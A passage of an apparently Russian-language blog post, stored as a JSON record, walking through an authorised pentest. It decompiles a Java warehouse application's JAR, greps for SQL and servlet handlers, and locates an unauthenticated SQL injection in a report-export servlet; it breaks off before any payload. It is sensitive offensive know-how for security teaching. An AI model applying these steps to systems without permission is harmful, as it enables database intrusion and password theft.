{"id":495189,"date":"2026-09-18T13:21:15","date_gmt":"2026-09-18T13:21:15","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=495189"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=495189","title":{"rendered":"SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442 JAR-\u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442\u00a0JAR\u2011\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u00a0\u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f<\/p>\n<p><em>\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u043e\u0441\u0438\u0442 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u0412\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0435\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e, \u0432\u00a0\u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430, \u0441\u00a0\u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u00a0\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u043d\u0435\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u043c\u00a0\u2014 NDA. \u0418\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446 \u0432\u00a0\u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0430\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u00a0\u0432\u0430\u0441 \u0435\u0441\u0442\u044c. \u0414\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0447\u0443\u0436\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0431\u0435\u0437\u00a0\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u00a0\u0437\u0430\u043a\u043e\u043d\u0443.<\/em><\/p>\n<p>\u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f Java\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u0430: \u0441\u043a\u043b\u0430\u0434\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442, \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, HTTPS. \u0412\u043d\u0443\u0442\u0440\u0438\u00a0\u2014 SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0431\u0435\u0437\u00a0\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0434\u043d\u043e\u043c GET\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u0437\u2011\u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab&#8230; WHERE ID=\u00bb + \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440.<\/p>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c, \u043a\u0430\u043a\u00a0\u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0443\u044e \u0432\u00a0\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f JAR \u2192 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2192 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2192 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 pg_sleep. \u041a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c.<\/p>\n<h2>\u041f\u043e\u0447\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430<\/h2>\n<p>\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0449\u0443\u043f\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0441\u043d\u0430\u0440\u0443\u0436\u0438. \u041d\u043e\u00a0\u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u00a0\u0441\u0432\u043e\u0435\u0439\u00a0\u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u043d\u0438 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c), \u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435:<\/p>\n<p>\u00b7\u00a0<strong>\u0442\u043e\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u0447\u0438\u043d\u0443<\/strong>\u00a0\u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u0430\u00a0\u043d\u0435 \u00ab\u0433\u0434\u0435\u2011\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f\u00bb;<\/p>\n<p>\u00b7\u00a0<strong>\u0432\u0441\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f if\/else \u0441\u0440\u0430\u0437\u0443<\/strong>\u00a0\u2014 \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c;<\/p>\n<p>\u00b7\u00a0<strong>\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442<\/strong>\u00a0\u2014 \u0432\u0438\u0434\u043d\u0430 \u0421\u0423\u0411\u0414, \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0444\u0438\u043a\u0441\u0430.<\/p>\n<p>\u041d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043d\u043e\u00a0\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432\u00a0\u0431\u0430\u0433\u0435 \u0434\u043e\u00a0\u043a\u043e\u043d\u0446\u0430\u00a0\u2014 \u043c\u0438\u043d\u0443\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0442\u0435\u043d \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.<\/p>\n<h2>\u0427\u0442\u043e\u00a0\u0437\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0426\u0435\u043b\u044c, \u0431\u0435\u0437\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:<\/p>\n<p>\u00b7\u00a0Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c Jetty, HTTPS, \u043f\u043e\u0440\u0442 <strong>8443<\/strong>;<\/p>\n<p>\u00b7\u00a0\u0431\u044d\u043a\u0435\u043d\u0434 \u2014 <strong>PostgreSQL<\/strong>;<\/p>\n<p>\u00b7\u00a0\u043a\u043e\u0434 \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0432 WEB-INF\\lib;<\/p>\n<p>\u00b7\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u2014 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 web.xml, ORM \u043d\u0435\u0442, SQL \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430\u043c\u0438.<\/p>\n<p>\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 Java-\u043c\u043e\u043d\u043e\u043b\u0438\u0442 \u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d, \u043a\u043e\u0433\u0434\u0430 PreparedStatement \u0441\u0447\u0438\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u0438\u0448\u0435\u0441\u0442\u0432\u043e\u043c.<\/p>\n<h2>\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b<\/h2>\n<p>\u00b7\u00a0<strong>JD-GUI<\/strong> \u2014 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f .jar\/.class \u0432 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 Java-\u043a\u043e\u0434.<\/p>\n<p>\u00b7\u00a0<strong>Notepad++<\/strong> (\u0438\u043b\u0438 ripgrep\/VS Code) \u2014 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430\u043c\u0438.<\/p>\n<p>\u00b7\u00a0 <strong>Python 3 + requests<\/strong> \u2014 PoC.<\/p>\n<p>\u00b7 <strong>curl<\/strong>\u00a0\u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0443\u043a\u0430\u043c\u0438.<\/p>\n<p>JD-GUI \u2014 \u0437\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0438 \u043f\u0443\u043d\u043a\u0442 <strong>File \u2192 Save All Sources<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 JAR \u0432 \u0434\u0435\u0440\u0435\u0432\u043e .java-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u043b\u0443\u0447\u0448\u0435 CFR \u0438\u043b\u0438 Procyon; \u0437\u0434\u0435\u0441\u044c \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u0442.<\/p>\n<p>\u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0438\u0437 \u0431\u0430\u0439\u0442\u043a\u043e\u0434\u0430. Java \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 .class \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0435\u0439 \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0443 \u2014 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435. \u0414\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.<\/p>\n<h2>\u0428\u0430\u0433 1. \u0414\u043e\u0441\u0442\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438<\/h2>\n<p>\u0412\u00a0WEB\u2011INF\\lib \u043b\u0435\u0436\u0430\u0442 JAR\u2011\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041d\u0443\u0436\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e JAR \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u043c \u0438\u0445 \u043f\u043e <strong>\u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430<\/strong>: \u043d\u0430\u0448\u0438\u00a0\u2014 acme\u2011wms\u2011*, \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 (postgresql\u2011*, commons\u2011*, <em>\u2011slf4j\u2011<\/em>)\u00a0\u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0445 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u041d\u0430\u00a0\u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435\u00a0\u0441\u043c\u043e\u0442\u0440\u0438\u043c: \u0443\u00a0\u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0435\u0433\u043e\u00a0\u0436\u0435 JAR\u2011\u044b\u00a0\u0431\u044b\u0432\u0430\u044e\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445.<\/p>\n<p>WEB\u2011INF\\lib\\<br \/> \u251c\u2500 acme\u2011wms\u2011core.jar                                    &lt;\u2011 \u044f\u0434\u0440\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u0448 \u0432\u0435\u043d\u0434\u043e\u0440)<br \/> \u251c\u2500 acme\u2011wms\u2011web.jar                                    &lt;\u2011 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 \u0432\u0435\u0431\u2011\u0441\u043b\u043e\u0439 &lt;\u2011 \u0441\u044e\u0434\u0430<br \/> \u251c\u2500 acme\u2011wms\u2011reporting.jar                             &lt;\u2011 \u043e\u0442\u0447\u0435\u0442\u044b<br \/> \u251c\u2500 postgresql-42.7.11.jar                                (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)<br \/> \u251c\u2500 commons\u2011lang3-3.20.0.jar                         (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)<br \/> \u251c\u2500 commons\u2011io-2.22.0.jar                                (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)<br \/> \u2514\u2500 &#8230;\u00a0 (slf4j \u0438 \u043f\u0440\u043e\u0447\u0438\u0435)<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/324\/7cf\/c7c\/3247cfc7c7210e596cf39717b65a6b73.png\" alt=\"\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435\" title=\"\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435\" width=\"945\" height=\"558\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/324\/7cf\/c7c\/3247cfc7c7210e596cf39717b65a6b73.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/324\/7cf\/c7c\/3247cfc7c7210e596cf39717b65a6b73.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c acme-wms-web.jar \u0432 JD-GUI \u2192 <strong>File \u2192 Save All Sources<\/strong> \u2192 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0430\u0440\u0445\u0438\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0435\u0441\u0442\u044c.<\/p>\n<h2>\u0428\u0430\u0433 2. \u0418\u0449\u0435\u043c SQL \u0432 \u043a\u043e\u0434\u0435<\/h2>\n<p>\u0413\u0440\u0435\u043f\u043d\u0443\u0442\u044c SQL \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u0434\u0443:<\/p>\n<p><code>^.*?select.*?from.*?$<br \/> ^.*?query.*?select.*?<\/code><\/p>\n<p>\u0422\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 &#8212; \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/099\/139\/a99\/099139a9969e3455c90b84ed4b0d185a.png\" alt=\"Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.\" title=\"Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.\" width=\"945\" height=\"448\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/099\/139\/a99\/099139a9969e3455c90b84ed4b0d185a.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/099\/139\/a99\/099139a9969e3455c90b84ed4b0d185a.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.<\/em><\/figcaption><\/div>\n<\/figure>\n<h3>\u0421\u0443\u0436\u0430\u0435\u043c \u0434\u043e \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432<\/h3>\n<p>\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u2014 Java-\u043a\u043b\u0430\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441. GET \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u043c\u0435\u0442\u043e\u0434 doGet, POST \u2014 \u0432 doPost, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0442\u0430\u043a \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0418\u0449\u0435\u043c \u043f\u043e \u043d\u0438\u043c:<\/p>\n<p><code>doGet<br \/> doPost<br \/> doPut<br \/> doDelete<\/code><\/p>\n<p>\u0421\u0443\u0436\u0430\u0435\u043c \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0435 do(Get|Post|Put|Delete). \u0421\u0440\u0435\u0434\u0438 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2014 <a href=\"http:\/\/ReportExportServlet.java\" rel=\"noopener nofollow\">ReportExportServlet.java<\/a>. \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043e\u0442\u0447\u0435\u0442\u043e\u0432 = \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u0411\u0414 \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0435\u0434\u0443\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 SQL. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8fb\/ea2\/e36\/8fbea2e367cb81239bb8f1cc6720ccfc.png\" alt=\"\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 ReportExportServlet.java.\" title=\"\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 ReportExportServlet.java.\" width=\"945\" height=\"348\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/8fb\/ea2\/e36\/8fbea2e367cb81239bb8f1cc6720ccfc.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8fb\/ea2\/e36\/8fbea2e367cb81239bb8f1cc6720ccfc.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 <\/em><a href=\"http:\/\/ReportExportServlet.java\" rel=\"noopener nofollow\"><em>ReportExportServlet.java<\/em><\/a><em>.<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0428\u0430\u0433 3. \u0427\u0438\u0442\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u043b\u0435\u0442<\/h2>\n<h3>\u0422\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430<\/h3>\n<p>\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432:<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bc1\/474\/101\/bc1474101f2c757772c3462570b4e78d.png\" alt=\"doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.\" title=\"doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.\" width=\"945\" height=\"82\" sizes=\"auto, (max-width: 780px) 